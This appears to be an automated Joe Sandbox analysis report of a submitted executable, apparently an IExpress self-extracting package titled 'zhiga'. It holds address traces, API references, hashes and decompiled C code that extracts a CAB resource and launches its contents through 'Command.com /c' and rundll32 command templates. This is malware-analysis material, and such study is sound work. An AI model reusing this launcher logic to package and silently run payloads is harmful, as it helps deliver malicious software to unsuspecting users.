0x010c3c60
0x010c3c65
0x010c3c77
0x010c3c78
0x010c3c7c
0x010c3c7e
0x010c3c82
0x010c3c82
0x00000000
0x010c3c7c
0x010c3c67
0x010c3c69
0x010c3c6d
0x00000000
0x010c3c58
0x010c3c58
0x010c3c6e
0x010c3c6e
0x010c3c87
0x010c3c89
0x010c3d4d
0x010c3d4f
0x010c3d50
0x010c3d52
0x010c3d9e
0x010c3da8
0x010c3daf
0x010c3db4
0x010c3db6
0x010c3f4d
0x010c3f4d
0x010c3f4f
0x010c3f56
0x010c3f57
0x010c3f58
0x010c3f63
0x010c3f63
0x010c3dbc
0x010c3dc0
0x010c3dc2
0x010c3de6
0x010c3de6
0x010c3de8
0x010c3f0b
0x010c3f0b
0x010c3f0f
0x010c3f13
0x010c3f15
0x010c3f1a
0x010c3f1c
0x010c3f46
0x010c3f47
0x00000000
0x010c3f47
0x010c3f1e
0x010c3f1f
0x010c3f25
0x010c3f26
0x010c3f2a
0x010c3f2d
0x010c3fd9
0x010c3fd9
0x010c3fda
0x010c3fda
0x010c3fe1
0x010c3fe3
0x010c3fe3
0x010c3fe8
0x00000000
0x010c3fe8
0x010c3f33
0x010c3f37
0x00000000
0x010c3f37
0x010c3dee
0x010c3dee
0x010c3df5
0x010c3fad
0x010c3fb9
0x010c3fc2
0x010c3fc8
0x00000000
0x010c3fc8
0x010c3dfb
0x010c3dfd
0x00000000
0x00000000
0x010c3e03
0x010c3e0a
0x00000000
0x00000000
0x010c3e15
0x010c3e17
0x010c3e19
0x010c3f94
0x010c3fa4
0x010c3f7c
0x010c3f80
0x010c3f8b
0x00000000
0x010c3f8b
0x010c3e2c
0x010c3e30
0x010c3e34
0x010c3e36
0x010c3f69
0x010c3f6e
0x010c3f70
0x010c3f76
0x00000000
0x010c3f76
0x010c3e3c
0x010c3e43
0x010c3e47
0x010c3e52
0x010c3e56
0x010c3e5c
0x010c3e61
0x010c3e68
0x010c3e70
0x010c3e74
0x010c3e7c
0x010c3e80
0x010c3e82
0x010c3e82
0x010c3e87
0x010c3e87
0x010c3e8b
0x010c3e91
0x010c3e94
0x010c3e96
0x010c3e96
0x010c3e9b
0x010c3e9b
0x010c3e9f
0x010c3ea2
0x010c3ea4
0x010c3ea4
0x010c3ea9
0x010c3ea9
0x010c3ead
0x010c3eb3
0x010c3eb6
0x010c3eb8
0x010c3eb8
0x010c3ebd
0x010c3ebd
0x010c3ec1
0x010c3ec3
0x010c3ec5
0x010c3ec5
0x010c3eca
0x010c3eca
0x010c3ece
0x010c3ed5
0x010c3ed9
0x010c3ee0
0x010c3ee6
0x010c3eea
0x010c3eec
0x010c3eee
0x010c3ef3
0x010c3ef3
0x010c3ef5
0x010c3efa
0x010c3efb
0x010c3efd
0x010c3f40
0x00000000
0x010c3eff
0x010c3eff
0x010c3f05
0x00000000
0x010c3f05
0x010c3efd
0x010c3dc7
0x010c3dce
0x00000000
0x00000000
0x010c3dd0
0x010c3dd7
0x00000000
0x00000000
0x010c3dd9
0x010c3ddb
0x00000000
0x00000000
0x010c3ddd
0x010c3de1
0x00000000
0x010c3de1
0x010c3d59
0x010c3d65
0x010c3d6a
0x010c3d6c
0x00000000
0x00000000
0x010c3d6e
0x010c3d75
0x00000000
0x00000000
0x010c3d8f
0x010c3d96
0x010c3d98
0x00000000
0x00000000
0x00000000
0x010c3d98
0x010c3c8f
0x010c3c98
0x010c3cf1
0x010c3cf3
0x00000000
0x00000000
0x010c3cfe
0x010c3d11
0x00000000
0x00000000
0x00000000
0x010c3d11
0x010c3c9c
0x010c3ca5
0x010c3ca7
0x00000000
0x00000000
0x010c3cad
0x010c3cb2
0x010c3cb7
0x010c3cc5
0x00000000
0x00000000
0x010c3ce8
0x010c3cec
0x010c3ced
0x010c3ced
0x00000000
0x010c3ce8
0x010c3c9e
0x00000000
0x010c3c9e
0x010c3c56
0x010c3d35
0x010c3d35
0x010c3d3c
0x010c3d48
0x00000000
0x010c3d48
0x010c3c03
0x010c3be2
0x010c3be7
0x010c3bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 010C3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 010C3CDC

Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46A0
Part of subcall function 010C468F: SizeofResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46A9
Part of subcall function 010C468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 010C46C3
Part of subcall function 010C468F: LoadResource.KERNEL32(00000000,00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46CC
Part of subcall function 010C468F: LockResource.KERNEL32(00000000,?,010C2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46D3
Part of subcall function 010C468F: memcpy_s.MSVCRT ref: 010C46E5
Part of subcall function 010C468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 010C46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,010C8C42), ref: 010C3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 010C3E26
FreeLibrary.KERNEL32(00000000,?,010C8C42), ref: 010C3EFF
LocalFree.KERNEL32(?,?,?,?,010C8C42), ref: 010C3F1F
FreeLibrary.KERNEL32(00000000,?,010C8C42), ref: 010C3F40
LocalFree.KERNEL32(?,?,?,?,010C8C42), ref: 010C3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,010C8C42), ref: 010C3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,010C8C42), ref: 010C3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,010C8C42), ref: 010C3FC2

Strings

<None>, xrefs: 010C3CC9, 010C3D7D
REBOOT, xrefs: 010C3BE2
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C3E74
advpack.dll, xrefs: 010C3F9D
zhiga, xrefs: 010C3E68
ADMQCMD, xrefs: 010C3C9E
POSTRUNPROGRAM, xrefs: 010C3D60
D, xrefs: 010C3C19
RUNPROGRAM, xrefs: 010C3D05
DoInfInstall, xrefs: 010C3E1F, 010C3E24, 010C3F68
USRQCMD, xrefs: 010C3CAD
SHOWWINDOW, xrefs: 010C3C34

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$zhiga
API String ID: 1032054927-3746868062
Opcode ID: 6376574b984f668440fc0ccd2d22b3e6f69a0837c928c9d32c0d791b73c955ab
Instruction ID: c6d863a1a8ecd78be10372a1e2e870dff37ff4a2f265458066f049b0875503f7
Opcode Fuzzy Hash: 6376574b984f668440fc0ccd2d22b3e6f69a0837c928c9d32c0d791b73c955ab
Instruction Fuzzy Hash: FAB1DE706243029FE770AF289845B6F7AE5BB84F40F10892EFAC5DA180E775C801CF96

Uniqueness

Uniqueness Score: -1.00%

Function 010C1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010C1AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E010C1680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E010C1A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E010C1781( &_v268, 0x104, _t111, "C:\Users\alfons\AppData\Local\Temp\IXP000.TMP\");
					E010C658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E010C1680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E010C66C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E010C66C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E010C1680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E010C1781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E010C16B3( &_v1552, 0x400, " ");
										E010C16B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E010C2AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E010C171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E010C1A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E010C1A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E010C44B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0x10c9120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0x10c1140, _t156, 8,  &_v268) == 0) {
										 *0x10c9a34 =  *0x10c9a34 & 0xfffffffb;
										if( *0x10c9a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E010C171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0x10c9a34 =  *0x10c9a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E010C1680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E010C1680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E010C6CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x010c1af3
0x010c1afa
0x010c1b07
0x010c1b09
0x010c1b1a
0x010c1b20
0x010c1b2c
0x010c1b3b
0x010c1b40
0x010c1b2e
0x010c1b2e
0x010c1b33
0x010c1b33
0x010c1b46
0x010c1b4c
0x010c1b52
0x010c1b57
0x010c1b5d
0x010c1b61
0x010c1b9f
0x010c1b9f
0x010c1bb1
0x010c1bc2
0x00000000
0x010c1b63
0x010c1b63
0x010c1b65
0x010c1b68
0x010c1b68
0x010c1b6a
0x010c1b6b
0x010c1b6f
0x010c1b74
0x00000000
0x00000000
0x010c1b76
0x010c1b7b
0x010c1b86
0x00000000
0x00000000
0x00000000
0x00000000
0x010c1b8c
0x010c1b8c
0x010c1b98
0x010c1bc7
0x010c1bc9
0x010c1bcc
0x010c1bd3
0x010c1d75
0x010c1d76
0x010c1d78
0x010c1d7f
0x010c1e05
0x010c1e09
0x00000000
0x00000000
0x010c1e12
0x010c1e1b
0x010c1e73
0x010c1e21
0x010c1e21
0x010c1e28
0x010c1e37
0x010c1e3e
0x010c1e52
0x010c1e60
0x010c1e60
0x010c1e3e
0x010c1e79
0x010c1e7b
0x010c1e84
0x00000000
0x010c1d9b
0x010c1d9b
0x010c1da0
0x010c1da2
0x010c1da5
0x010c1da5
0x010c1da7
0x010c1da8
0x010c1dac
0x010c1dae
0x010c1db4
0x010c1db7
0x010c1db7
0x010c1db9
0x010c1dba
0x010c1dbe
0x010c1dc3
0x010c1dce
0x010c1dd2
0x010c1deb
0x00000000
0x010c1df0
0x00000000
0x010c1dd2
0x010c1bf7
0x010c1bfe
0x010c1c07
0x010c1d55
0x010c1d5a
0x010c1d5b
0x010c1d5d
0x010c1d5e
0x00000000
0x010c1c1b
0x010c1c1b
0x010c1c20
0x010c1c2c
0x010c1c33
0x010c1c38
0x010c1c3a
0x010c1c3a
0x010c1c40
0x010c1c4b
0x010c1c4b
0x010c1c5d
0x010c1c61
0x010c1dd4
0x010c1dd4
0x010c1dd6
0x010c1ddb
0x010c1ddc
0x010c1dde
0x010c1d64
0x010c1d64
0x010c1d67
0x010c1d6c
0x00000000
0x010c1c67
0x010c1c67
0x010c1c6d
0x010c1c72
0x010c1c74
0x010c1c74
0x010c1c8e
0x010c1c99
0x010c1cc0
0x010c1cf8
0x010c1d07
0x010c1d23
0x010c1d09
0x010c1d14
0x010c1d1b
0x010c1d1b
0x010c1d2b
0x010c1d2d
0x010c1d2d
0x010c1d38
0x010c1d39
0x010c1d46
0x010c1cc2
0x010c1cc2
0x010c1ccc
0x010c1cce
0x010c1cce
0x010c1cdb
0x010c1ce6
0x010c1cee
0x010c1cee
0x010c1e89
0x010c1e91
0x010c1e92
0x010c1e94
0x010c1e97
0x010c1ea4
0x010c1ea4
0x010c1c61
0x010c1c07
0x010c1bd3
0x010c1b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 010C1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 010C1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 010C1C57
GetPrivateProfileIntA.KERNEL32 ref: 010C1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,010C1140,00000000,00000008,?), ref: 010C1CB8
GetShortPathNameA.KERNEL32 ref: 010C1D1B

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Strings

AdvancedINF, xrefs: 010C1CAE
setupapi.dll, xrefs: 010C1D23, 010C1D3A
setupx.dll, xrefs: 010C1D14
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 010C1BA0
DefaultInstall, xrefs: 010C1C74, 010C1C87, 010C1CCE, 010C1CD3, 010C1D2D, 010C1D39
Command.com /c %s, xrefs: 010C1D9B, 010C1DE8
Reboot, xrefs: 010C1C82
", xrefs: 010C1B25
.INF, xrefs: 010C1BDB
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 010C1D3B
Version, xrefs: 010C1CB3
.BAT, xrefs: 010C1D83

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-472070384
Opcode ID: 843711e680d983d17c67d66617ae6060900f14816ac1b674637f1a5c07771e31
Instruction ID: 19d2aa5e50768bf806fda1634d44832057beecbec3c4e7441d5fe3463c49bf67
Opcode Fuzzy Hash: 843711e680d983d17c67d66617ae6060900f14816ac1b674637f1a5c07771e31
Instruction Fuzzy Hash: CAA14B70A00209DFEB70AB28CC44BEE77A9AB95B10F1442DDE5D5E32C2DB759D858F50

Uniqueness

Uniqueness Score: -1.00%

Function 010C597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E010C597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0x10c8004; // 0x4b13cf70
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0x10c9124 = E010C6285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E010C44B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0x10c9a34 & 0x00000008;
							if(( *0x10c9a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0x10c9a38; // 0x0
								_t110 =  *((intOrPtr*)(0x10c89e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0x10c9124 = 0;
									_t66 = 1;
								} else {
									_t66 = E010C268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0x10c9a38; // 0x0
							_t110 =  *((intOrPtr*)(0x10c89e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0x10c89e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0x10c9a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E010C44B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0x10c9124 = E010C6285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E010C44B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0x10c9124 = E010C6285();
					_t66 = 0;
					L33:
					return E010C6CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x010c597d
0x010c5988
0x010c598f
0x010c599a
0x010c59a6
0x010c59a8
0x010c59af
0x010c59b9
0x010c59dd
0x010c59e4
0x010c59f1
0x010c59fe
0x010c5a0b
0x010c5a13
0x010c5a19
0x010c5a1b
0x010c5ba1
0x010c5baf
0x010c5bbd
0x010c5bd8
0x010c5bde
0x010c5be3
0x010c5bec
0x010c5bf0
0x010c5bfc
0x010c5c02
0x010c5c02
0x010c5c02
0x010c5c04
0x010c5c04
0x00000000
0x010c5c04
0x010c5a27
0x010c5a3a
0x010c5a46
0x010c5a48
0x010c5a4a
0x00000000
0x00000000
0x010c5a64
0x010c5a6a
0x010c5a6c
0x010c5abc
0x010c5ac2
0x010c5ac9
0x010c5aca
0x010c5aca
0x010c5acc
0x010c5acc
0x010c5acf
0x010c5ad1
0x00000000
0x00000000
0x010c5ad3
0x010c5ad6
0x010c5ad8
0x00000000
0x00000000
0x010c5ada
0x010c5adc
0x010c5add
0x010c5add
0x010c5ae0
0x00000000
0x00000000
0x00000000
0x010c5ae0
0x010c5ae2
0x010c5ae4
0x010c5ae6
0x010c5ae6
0x010c5ae6
0x010c5ae9
0x010c5aeb
0x010c5af0
0x010c5af6
0x010c5af8
0x010c5af9
0x010c5af9
0x010c5afb
0x00000000
0x00000000
0x010c5afd
0x010c5aff
0x010c5b00
0x010c5b03
0x00000000
0x00000000
0x00000000
0x010c5b03
0x010c5b05
0x010c5b08
0x010c5b20
0x010c5b27
0x010c5b52
0x010c5b52
0x010c5b5b
0x010c5b62
0x010c5b6b
0x010c5b6d
0x010c5b76
0x010c5b7d
0x010c5b83
0x010c5b7f
0x010c5b7f
0x010c5b7f
0x010c5b6f
0x010c5b72
0x010c5b72
0x010c5b85
0x010c5b98
0x010c5b9e
0x010c5b87
0x010c5b8f
0x010c5b8f
0x00000000
0x010c5b85
0x010c5b29
0x010c5b33
0x00000000
0x00000000
0x010c5b35
0x010c5b48
0x010c5b4a
0x00000000
0x010c5b4a
0x010c5b0f
0x010c5b16
0x00000000
0x010c5b16
0x010c5a7c
0x010c5a8a
0x010c5aa5
0x010c5aab
0x00000000
0x010c59bb
0x010c59c0
0x010c59c7
0x010c59d1
0x010c59d6
0x010c5c05
0x010c5c14
0x010c5c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 010C59A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 010C59AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 010C5A13
MulDiv.KERNEL32(?,?,00000400), ref: 010C5A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 010C5A64
memset.MSVCRT ref: 010C5A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 010C5A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 010C5AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 010C5BFC

Part of subcall function 010C44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 010C4518
Part of subcall function 010C44B9: MessageBoxA.USER32(?,?,zhiga,00010010), ref: 010C4554

Part of subcall function 010C6285: GetLastError.KERNEL32(010C5BBC), ref: 010C6285

Memory Dump Source

Source File: 00000000.00000002.446316039.00000000010C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 010C0000, based on PE: true

Associated: 00000000.00000002.446310245.00000000010C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446323587.00000000010C8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.446329420.00000000010CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10c0000_file.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: cfe0f7ace8cf35a489a83c34b571db2955eb3cdf7b6e7226f611a8e2e7aae47a
Instruction ID: 70a85ed3b4597c2ab662258453f80501a4a2fa558c6f14e52f28e34103818e61
Opcode Fuzzy Hash: cfe0f7ace8cf35a489a83c34b571db2955eb3cdf7b6e7226f611a8e2e7aae47a
Instruction Fuzzy Hash: 217193B5A0020CAFEB259B64CC85BFE77ADFB88744F1440ADF585D3184EA359E848F60

Uniqueness

Uniqueness Score: -1.00%

Function 010C4FE0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 121
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 77%

			E010C4FE0(void* __edi, void* __eflags) {
				void* __ebx;
				void* _t8;
				struct HWND__* _t9;
				int _t10;
				void* _t12;
				struct HWND__* _t24;
				struct HWND__* _t27;
				intOrPtr _t29;
				void* _t33;
				int _t34;
				CHAR* _t36;
				int _t37;
				intOrPtr _t47;

				_t33 = __edi;
				_t36 = "CABINET";
				 *0x10c9144 = E010C468F(_t36, 0, 0);
				_t8 = LockResource(LoadResource(0, FindResourceA(0, _t36, 0xa)));
				 *0x10c9140 = _t8;
